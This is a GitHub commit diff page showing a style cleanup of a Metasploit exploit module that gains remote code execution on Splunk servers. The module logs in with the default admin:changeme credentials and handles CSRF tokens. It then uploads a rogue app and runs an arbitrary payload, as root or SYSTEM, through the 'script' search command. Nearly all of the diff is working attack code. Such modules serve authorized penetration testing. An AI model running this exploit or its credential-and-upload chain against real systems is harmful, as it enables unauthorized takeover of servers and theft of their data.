Skip to content

Commit 1a37a66

Browse files
committed
Fix splunk_upload_app_exec to work on new installs. Style
1 parent 55f245f commit 1a37a66

File tree

1 file changed

+55
-58
lines changed

1 file changed

+55
-58
lines changed

modules/exploits/multi/http/splunk_upload_app_exec.rb

Lines changed: 55 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -11,18 +11,18 @@ class Metasploit3 < Msf::Exploit::Remote
1111
include Msf::Exploit::Remote::HttpClient
1212

1313
def initialize(info = {})
14-
super(update_info(info,
14+
super(update_info(
15+
info,
1516
'Name' => 'Splunk Custom App Remote Code Execution',
16-
'Description' => %q{
17-
This module exploits a feature of Splunk whereby a custom application can be
18-
uploaded through the web based interface. Through the 'script' search command a
17+
'Description' =>
18+
'This module exploits a feature of Splunk whereby a custom application can be
19+
uploaded through the web based interface. Through the \'script\' search command a
1920
user can call commands defined in their custom application which includes arbitrary
2021
perl or python code. To abuse this behavior, a valid Splunk user with the admin
2122
role is required. By default, this module uses the credential of "admin:changeme",
2223
the default Administrator credential for Splunk. Note that the Splunk web interface
2324
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
24-
tested successfully against Splunk 5.0, 6.1, and 6.1.1.
25-
},
25+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
2626
'Author' =>
2727
[
2828
"marcwickenden", # discovery and metasploit module
@@ -42,13 +42,13 @@ def initialize(info = {})
4242
'Space' => 1024,
4343
'DisableNops' => true
4444
},
45-
'Platform' => %w{ linux unix win },
45+
'Platform' => %w(linux unix win),
4646
'Targets' =>
4747
[
4848
[ 'Splunk >= 5.0.1 / Linux',
4949
{
5050
'Arch' => ARCH_CMD,
51-
'Platform' => %w{ linux unix }
51+
'Platform' => %w(linux unix)
5252
}
5353
],
5454
[ 'Splunk >= 5.0.1 / Windows',
@@ -63,9 +63,10 @@ def initialize(info = {})
6363
register_options(
6464
[
6565
Opt::RPORT(8000),
66-
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as','admin' ]),
67-
OptString.new('PASSWORD', [ true, 'The password for the specified username','changeme' ]),
68-
OptPath.new('SPLUNK_APP_FILE',
66+
OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
67+
OptString.new('PASSWORD', [ true, 'The password for the specified username', 'changeme' ]),
68+
OptPath.new(
69+
'SPLUNK_APP_FILE',
6970
[
7071
true,
7172
'The "rogue" Splunk application tgz',
@@ -97,7 +98,7 @@ def exploit
9798
# set up some variables for later use
9899
@auth_cookies = ''
99100
@csrf_form_key = ''
100-
@csrf_form_port = "splunkweb_csrf_token_#{rport}" #Default to using rport, corrected during tokenization for v6 below.
101+
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
101102
app_name = 'upload_app_exec'
102103
p = payload.encoded
103104
print_status("Using command: #{p}")
@@ -120,7 +121,6 @@ def exploit
120121
# call our command execution function with the Splunk 'script' command
121122
print_status("Invoking script command")
122123
res = send_request_cgi(
123-
{
124124
'uri' => '/en-US/api/search/jobs',
125125
'method' => 'POST',
126126
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
@@ -144,24 +144,24 @@ def exploit
144144
'latest_time' => "",
145145
'timeFormat' => "%s.%Q"
146146
}
147-
})
147+
)
148148

149149
if return_output
150150
res.body.match(/data":\ "([0-9.]+)"/)
151-
job_id = $1
151+
job_id = Regexp.last_match(1)
152152

153153
# wait a short time to let the output be produced
154154
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
155-
select(nil,nil,nil,command_output_delay)
155+
select(nil, nil, nil, command_output_delay)
156156
job_output = fetch_job_output(job_id)
157157
if job_output.body.match(/Waiting for data.../)
158158
print_status("No output returned in time")
159-
elsese
159+
else
160160
output = ""
161161
job_output.body.each_line do |line|
162162
# strip off the leading and trailing " added by Splunk
163-
line.gsub!(/^"/,"")
164-
line.gsub!(/"$/,"")
163+
line.gsub!(/^"/, "")
164+
line.gsub!(/"$/, "")
165165
output << line
166166
end
167167

@@ -183,7 +183,7 @@ def check
183183
'method' => 'GET'
184184
}, 25)
185185

186-
if res and res.body =~ /Splunk Inc\. Splunk/
186+
if res && res.body =~ /Splunk Inc\. Splunk/
187187
return Exploit::CheckCode::Detected
188188
else
189189
return Exploit::CheckCode::Safe
@@ -194,18 +194,17 @@ def do_login
194194
print_status("Authenticating...")
195195
# this method borrowed with thanks from splunk_mappy_exec.rb
196196
res = send_request_cgi(
197-
{
198197
'uri' => '/en-US/account/login',
199198
'method' => 'GET'
200-
})
199+
)
201200

202201
cval = ''
203202
uid = ''
204203
session_id_port =
205204
session_id = ''
206-
if res and res.code == 200
207-
res.get_cookies.split(';').each {|c|
208-
c.split(',').each {|v|
205+
if res && res.code == 200
206+
res.get_cookies.split(';').each do |c|
207+
c.split(',').each do |v|
209208
if v.split('=')[0] =~ /cval/
210209
cval = v.split('=')[1]
211210
elsif v.split('=')[0] =~ /uid/
@@ -214,14 +213,13 @@ def do_login
214213
session_id_port = v.split('=')[0]
215214
session_id = v.split('=')[1]
216215
end
217-
}
218-
}
216+
end
217+
end
219218
else
220219
fail_with(Failure::NotFound, "Unable to get session cookies")
221220
end
222221

223222
res = send_request_cgi(
224-
{
225223
'uri' => '/en-US/account/login',
226224
'method' => 'POST',
227225
'cookie' => "uid=#{uid}; #{session_id_port}=#{session_id}; cval=#{cval}",
@@ -231,21 +229,21 @@ def do_login
231229
'username' => @username,
232230
'password' => @password
233231
}
234-
})
232+
)
235233

236-
if not res or res.code != 303
237-
fail_with(Failure::NoAccess, "Unable to authenticate")
234+
if !res
235+
fail_with(Failure::Unreachable, "No response")
238236
else
239237
session_id_port = ''
240238
session_id = ''
241-
res.get_cookies.split(';').each {|c|
242-
c.split(',').each {|v|
239+
res.get_cookies.split(';').each do |c|
240+
c.split(',').each do |v|
243241
if v.split('=')[0] =~ /session_id/
244242
session_id_port = v.split('=')[0]
245243
session_id = v.split('=')[1]
246244
end
247-
}
248-
}
245+
end
246+
end
249247
@auth_cookies = "#{session_id_port}=#{session_id}"
250248
end
251249
end
@@ -273,15 +271,17 @@ def do_upload_app(app_name, file_name)
273271
data << file_data
274272
data << "\r\n--#{boundary}--\r\n"
275273

276-
res = send_request_cgi({
277-
'uri' => '/en-US/manager/appinstall/_upload',
278-
'method' => 'POST',
279-
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
280-
'ctype' => "multipart/form-data; boundary=#{boundary}",
281-
'data' => data
282-
}, 30)
283-
284-
if (res and (res.code == 303 or (res.code == 200 and res.body !~ /There was an error processing the upload/)))
274+
res = send_request_cgi(
275+
{
276+
'uri' => '/en-US/manager/appinstall/_upload',
277+
'method' => 'POST',
278+
# Does not seem to require the cookie, but it does not break it. I bet 6.2 will have a cookie here too.
279+
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",
280+
'ctype' => "multipart/form-data; boundary=#{boundary}",
281+
'data' => data
282+
}, 30)
283+
284+
if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
285285
print_status("#{app_name} successfully uploaded")
286286
else
287287
fail_with(Failure::Unknown, "Error uploading")
@@ -291,38 +291,35 @@ def do_upload_app(app_name, file_name)
291291
def do_get_csrf(uri)
292292
print_status("Fetching csrf token from #{uri}")
293293
res = send_request_cgi(
294-
{
295294
'uri' => uri,
296295
'method' => 'GET',
297296
'cookie' => @auth_cookies
298-
})
297+
)
299298
res.body.match(/FORM_KEY":\ "(\d+)"/) # Version 5
300-
@csrf_form_key = $1
299+
@csrf_form_key = Regexp.last_match(1)
301300

302301
unless @csrf_form_key # Version 6
303-
res.get_cookies.split(';').each {|c|
304-
c.split(',').each {|v|
305-
if v.split('=')[0] =~ /splunkweb_csrf_token/ #regex as the full name is something like splunkweb_csrf_token_8000
302+
res.get_cookies.split(';').each do |c|
303+
c.split(',').each do |v|
304+
if v.split('=')[0] =~ /splunkweb_csrf_token/ # regex as the full name is something like splunkweb_csrf_token_8000
306305
@csrf_form_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
307306
@csrf_form_key = v.split('=')[1]
308307
end
309-
}
310-
}
308+
end
309+
end
311310
end
312311

313-
fail_with(Failure::Unknown, "csrf form Key not found") if not @csrf_form_key
312+
fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
314313
end
315314

316315
def fetch_job_output(job_id)
317316
# fetch the output of our job id as csv for easy parsing
318317
print_status("Fetching job_output for id #{job_id}")
319-
res = send_request_raw(
320-
{
321-
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
318+
send_request_raw(
319+
'uri' => "/en-US/api/search/jobs/#{job_id}/result?isDownload=true&timeFormat=%25FT%25T.%25Q%25%3Az&maxLines=0&count=0&filename=&outputMode=csv&spl_ctrl-limit=unlimited&spl_ctrl-count=10000",
322320
'method' => 'GET',
323321
'cookie' => @auth_cookies,
324322
'encode_param' => 'false'
325-
})
323+
)
326324
end
327-
328325
end

0 commit comments

Comments
 (0)